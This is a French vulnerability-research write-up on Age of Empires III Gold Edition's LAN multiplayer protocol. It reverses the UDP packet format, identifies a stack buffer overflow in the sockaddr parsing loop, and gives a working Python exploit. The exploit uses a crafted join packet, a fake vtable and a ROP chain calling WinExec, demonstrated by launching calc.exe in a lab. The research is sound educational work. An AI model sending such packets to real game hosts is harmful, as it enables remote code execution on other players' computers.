Age of Empire III

Introduction

Nous sommes samedi, il est 9h24 … c’est l’heure de trouver une RCE dans Age Of Empire III Gold Edition. Sorti en Octobre 2005, le jeu est doté d’un nouveau moteur graphique, on peut s’attendre à de bons changements dans le code ;)

Age of Empires III Gold Edition - Version 4.107.803.3366

Analyse du protocole

Commençons par comprendre le protocole, pour cela même technique que dans les articles précédents. Je commence par lancer deux VMs: une pour le joueur qui héberge la partie et une autre pour le joueur qui rejoint la partie. En parallèle wireshark écoute sur l’interface VMware.

Cette fois-ci il semblerait que le jeu n’utilise pas DirectPlay, regardons un peu la capture …

Lorsque le joueur est sur l’interface “LAN/IP Directe”, le jeu commence à émettre des paquets UDP (ex n°150),à destination du port 2299, vers toutes les machines. Lorsqu’un joueur héberge une partie, le jeu répond avec des paquets de grande taille (ex n°152), contenant principalement des 0 et le nom de la partie. Ensuite lorsque le joueur est dans le salon de prépartie, le jeu communique avec l’hôte de partie sur le port UDP 2300.

Si l’on fait attention aux premiers octets qui composent le paquet n°152, on remarque qu’il contient au moins deux structures sockaddr_in (entourées en rouge sur la capture)

  • 02 00 - 2 AF_INET
  • 08 fc - 2300 (port)
  • c0 a8 6e 80 - 192.168.110.128 (ip)

Pour trouver la fonction qui va parser les paquets on peut tenter de poser un breakpoint sur recvfrom. Puis un watchpoint sur le buffer reçu, pour stopper le programme lorsque celui-ci accède au paquet en lecture.

Notre watchpoint se déclenche en B085C3h, dans une méthode que je nommerais HandlePacket pour la suite. Le programme compare le premier octet du paquet qui indique probablement le type de celui-ci.

Ainsi on retrouve notre fonction de parsing qui traite les paquets de type 15h, 16h, 17h, 18h, 19h, 1Ah

D’après la capture wireshark,

  • le paquet 15h est émis continuellement par le joueur qui recherche une partie sur le réseau local
  • le paquet 16h est la réponse au paquet 15h, il contient des informations sur la partie dont son nom
  • le paquet 17h est émis lorsque le joueur se connecte à l’hôte de la partie, il contient le nom du joueur
  • le paquet 18h est une sortie d’acquittement du paquet 17h, il contient le nom du joueur qui a rejoint la partie

Lorsqu’on reverse un peu plus HandlePacket et les fonctions sous-jacentes, on s’aperçoit que les paquets ont tous la même forme :

  • type de paquet (1 octet)
  • nsocks nombre de couples sockaddrA,sockaddrB (4 octets)
  • sockaddrA structure de type sockaddr (16 octets)
  • sockaddrB structure de type sockaddr (16 octets)
  • GameDataSize taille du champ GameData (4 octets)
  • GameData données sur la partie, dont le nom
  • Unknown0, Unknown1 champs inconnus (au total 8 octets)
  • UserNameLength taille du champ Username en caractère
  • Username le nom de l’utilisateur encodé en utf-16

Certains champs peuvent avoir une taille nulle ce qui les rend optionnels. Ainsi pour un paquet de type 15h, les champs sockaddrA, sockaddrB, GameData & Username n’ont pas de sens, les champs nsocks,GameDataSize & UserNameLength sont donc mis à 0.

La méthode sub_00B07C9D ( que j’ai nommé Packet_ReadHeaderFromBS pour la suite ) convertit le paquet reçu en une classe (décrite ci-dessous) pour pouvoir le manipuler plus facilement.

typedef struct _PACKET_READER
{
	void* VTable;
	BytesStream_t Stream; // ByteStream sur les données brutes
	char cPacketType;
	sockaddr_in SockaddrA[32];
	sockaddr_in SockaddrB[32];
	int iNSocks;
	int Unknown0;
	int Unknown1;
	int ccUsernameLength;
	wchar_t* pwzUsername;
	void* pLanGameData;
	int cbLanGameDataSize;
}PACKET_READER,*PPACKET_READER;

Vulnérabilité

Si l’on regarde la fonction Packet_ReadHeaderFromBS de plus près, il y’a un problème …

// sub_00B07C9D
int __thiscall Packet_ReadHeaderFromBS(PPACKET_READER pPacketReader, REUSED_ARGUMENT pByteStream_pSockaddr)
{
  struct ByteStream_t *_bs; // esi
  int i; // ebp
  sockaddr_in *pSockaddrB; // ebx
  int *pwzUsername; // ebx
  int *pcchUsernameLength; // edi
  int cchUsernameLength; // eax
  int _pwzUsername; // eax
  int cchLength; // [esp-4h] [ebp-14h]

  _bs = pByteStream_pSockaddr.pByteStream;
  pPacketReader->VTable->Packet_FillType(pPacketReader, pByteStream_pSockaddr.pByteStream);
  BytesStream_ReadDword(_bs, &pPacketReader->iNSocks);
  i = 0;
  if ( pPacketReader->iNSocks > 0 )
  {
    pSockaddrB = pPacketReader->SockaddrB;
    // ############################
    // # Overflow if iNSocks > 32 #
    // ############################
    do
    {
      // SockaddrB - 0x20 => SockaddrA
      pByteStream_pSockaddr.pSockaddr = pSockaddrB - 0x20;
      ByteStream_ReadSockAddr(_bs, &pByteStream_pSockaddr, 0x10u);
      pByteStream_pSockaddr.pSockaddr = pSockaddrB;
      ByteStream_ReadSockAddr(_bs, &pByteStream_pSockaddr, 0x10u);
      ++i;
      ++pSockaddrB;                             // next sockaddr slot
    }
    while ( i < pPacketReader->iNSocks );
  }
  BytesStream_ReadDword(_bs, &pPacketReader->cbLanGameDataSize);
  if ( pPacketReader->cbLanGameDataSize )
    BytesStream_SetPointer(_bs, &pPacketReader->pLanGameData, &pPacketReader->cbLanGameDataSize);
  BytesStream_ReadDword(_bs, &pPacketReader->Unknown0);
  BytesStream_ReadDword(_bs, &pPacketReader->Unknown1);
  pwzUsername = &pPacketReader->pwzUsername;
  if ( pPacketReader->pwzUsername )
    free(pPacketReader->pwzUsername);
  pcchUsernameLength = &pPacketReader->cchUsernameLength;
  BytesStream_ReadDword(_bs, pcchUsernameLength);
  cchUsernameLength = *pcchUsernameLength;
  if ( *pcchUsernameLength )
  {
    _pwzUsername = malloc(2 * cchUsernameLength);
    cchLength = *pcchUsernameLength;
    *pwzUsername = _pwzUsername;
    return ReadUtf16(pwzUsername, cchLength);
  }
  else
  {
    *pwzUsername = 0;
  }
  return cchUsernameLength;
}

Le membre iNSocks qui est directement lu depuis le paquet, peut prendre une valeur supérieure à 32. Or il n’y a de la place que pour 32 sockaddr dans les tableaux sockaddrA et sockaddrB. Il y’a donc buffer overflow, cependant la taille d’un paquet est limité à 0x1000 bytes par l’appel à recvfrom.

Exploitation

La classe PACKET_READER est allouée sur la stack frame de la fonction HandlePacket. On pourrait écraser l’adresse de retour mais celle-ci est protégée par un canary. Ma première idée fut d’écraser le handler SEH mais celui-ci est trop loin dans la stack, la taille maximum du paquet ne nous le permet pas.

A priori la vulnérabilité n’est pas exploitable avec un paquet de type 16h. Cependant il y’a une petite subtilité avec le traitement des paquets de type 17h.

La fonction HandlePacket prends en paramètre un pointeur vers un objet de type SockAsyncSocketClass_t, c’est une classe qui permet de gérer la réception et l’envoi de paquets UDP. Comme on peut le voir, ce pointeur est sauvegardé dans le registre EDI au début de la fonction.

HandlePacket commence par parser le paquet 17h, puis elle itère sur la liste des joueurs déjà présents dans la partie. Durant ce traitement le registre EDI est utilisé pour d’autre opérations (encadrées en bleu). A la sortie du traitement le pointeur vers l’objet de type SockAsyncSocketClass_t est restauré depuis la stack dans le registre EDI (encadré en rouge).

Ensuite le programme construit et envoie le paquet 18h, via la méthode SockAsyncSocketClass_SendPacket.

Et c’est dans cette méthode que le pointeur vers l’objet de type SockAsyncSocketClass_t est utilisé. La méthode utilise la vtable de l’objet pour appeler la fonction PrepareSend .

Je pense que vous voyez où je veux en venir …

L’idée est d’écraser le pointeur vers l’objet de type SockAsyncSocketClass_t. On peut forger un faux objet SockAsyncSockContext avec une fausse vtable sur la stack contenant des adresses de notre choix.

Maintenant qu’on a l’idée on va pouvoir PoC, voici un petit schéma qui représente tout ce qu’on va écraser avant d’atteindre les paramètres de la fonction HandlePacket.

Tout d’abord premier problème, lors de l’overflow, à partir de la 33ième sockaddrB, on écrase iNSocks. Le même problème se produit à partir de la 65ième sockaddrA. Il faut penser remettre la valeur d’origine de iNSocks, sinon on va sortir de la boucle trop tôt, ou boucler jusqu’à crash.

do
{
  // SockaddrB - 0x20 => SockaddrA
  pByteStream_pSockaddr.pSockaddr = pSockaddrB - 0x20;
  ByteStream_ReadSockAddr(_bs, &pByteStream_pSockaddr, 0x10u);
  pByteStream_pSockaddr.pSockaddr = pSockaddrB;
  ByteStream_ReadSockAddr(_bs, &pByteStream_pSockaddr, 0x10u);
  ++i;
  ++pSockaddrB;                             // next sockaddr slot
}
while ( i < pPacketReader->iNSocks );

Deuxième problème on va écraser pwzUsername, si celui-ci n’est pas null, la fonction Packet_ReadHeaderFromBS libère la zone allouée. Si le pointeur n’est pas valide, le free risque de crash le programme.

  pwzUsername = &pPacketReader->pwzUsername;
  if ( pPacketReader->pwzUsername )
    free(pPacketReader->pwzUsername);

Ensuite dernière condition, il faut avoir au moins 1 joueur (autre que l’hôte de partie) présent dans le salon. Comme en témoigne le code assembleur suivant,

Pour résumer, il faut (0x860 - 0x200) / 0x10 = 102 sockaddrB pour écraser le pointeur SockAsyncSockContext.

On commence déjà par fixer iNSocks à 102. On prépare les sockaddr, en faisant attention aux problèmes énoncés précédemment. On remplit les derniers octets de la dernière sockaddrB avec DEADBEEFh, pour vérifier qu’on crash bien dans SockAsyncSocketClass_SendPacket .

import socket
from pwn import *

PADDING = 64
iNSocks = 102

sockaddrA = (b"A" * 0x10) * PADDING
sockaddrB = (b"B" * 0x10) * PADDING

# 65ieme sockaddrA
sockaddrA+= p32(iNSocks) 
sockaddrA+= p32(0) # Unknown0
sockaddrA+= p32(0) # Unknown1
sockaddrA+= p32(0) # ccUsernameLength
sockaddrB+= (b"B" * 0x10)

# 66ieme sockaddrA
sockaddrA+= p32(0) # pwzUsername
sockaddrA+= p32(0) # pLanGameData
sockaddrA+= p32(0) # cbLanGameDataSize
sockaddrA+= p32(0)
sockaddrB+= (b"B" * 0x10)

sockaddrA+= (b"A" * 0x10) * (iNSocks - PADDING - 2 - 1)
sockaddrB+= (b"B" * 0x10) * (iNSocks - PADDING - 2 - 1)

# 102ieme sockaddrB
sockaddrA+= ("A" * 0x10)
sockaddrB+= p32(0)
sockaddrB+= p32(0)
sockaddrB+= p32(0)
sockaddrB+= p32(0xdeadbeef) # SockAsyncContext

packet = b"\x17"
packet+= p32(iNSocks)

for i in range(0,iNSocks):
	packet+= sockaddrA[i * 16:i*16 + 16]
	packet+= sockaddrB[i * 16:i*16 + 16]

packet += p32(0)  # cbLanGameDataSize
packet += p32(0)  # Unknown0
packet += p32(0)  # Unknown1
packet += p32(0)  # cchUsernameLength

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(packet,("192.168.110.128",2299))

On s’attache au serveur, on connecte un joueur puis on exécute l’exploit et c’est le crash :

Maintenant on va terminer l’exploit en ROP parce que c’est marrant.

Tout d’abord lorsqu’on détourne le flux d’exécution, nous ne sommes plus dans la fonction HandlePacket. Il nous faut un gadget pivot, qui va permettre de déplacer ESP dans la stack frame de HandlePacket sur des données que l’on contrôle.

Le gadget en 0x00416D60 semble être un bon candidat,

add esp, 0xC4
ret 0x08

Ensuite on fait pointer SockAsyncSockContext sur le pointeur de notre fausse vtable. Pour rappel, on détourne le flux d’exécution sur un call DWORD PTR [ESI + 0xC], donc le pointeur vtable doit pointer 0xC octets plus bas que l’adresse du gadget que l’on veut appeler.

On adapte le script pour construire l’objet et sa vtable.

pivot = 0x00416D60        # add esp,0xC4 ; ret 0x8
pObj = 0x12FCD8
pVtable = 0x12FCD4 - 0xC

sockaddrB += p32(0)       # [STACK]:0x12FCD0
sockaddrB += p32(pivot)   # [STACK]:0x12FCD4
sockaddrB += p32(pVtable) # [STACK]:0x12FCD8
sockaddrB += p32(pObj)    # [STACK]:0x12FCDC

Avec le debugger, on pose un breakpoint sur le gadget et on exécute le add esp, 0xC4 ce qui permet de voir où est-ce qu’on atterrit sur la stack. Il se trouve que ESP pointe 12 octets plus loin que le début du tableau sockaddrA du PACKET_READER. On adapte le script en conséquence pour y placer notre ROPchain.

ExitProcess = 0x006121B2
WinExec = 0x7C863231
SW_SHOWNORMAL = 1
szCmdLine = 0x12F4A4

ropchain = p32(WinExec)
ropchain+= b"XXXX"*2
ropchain+= p32(ExitProcess)
ropchain+= p32(szCmdLine)
ropchain+= p32(SW_SHOWNORMAL)
ropchain+= b"C:\\Windows\\System32\\calc.exe\x00"

sockaddrA = sockaddrA[:12] + ropchain + sockaddrA[12 + len(ropchain):]

Roulement de tambour … et c’est la calc \o/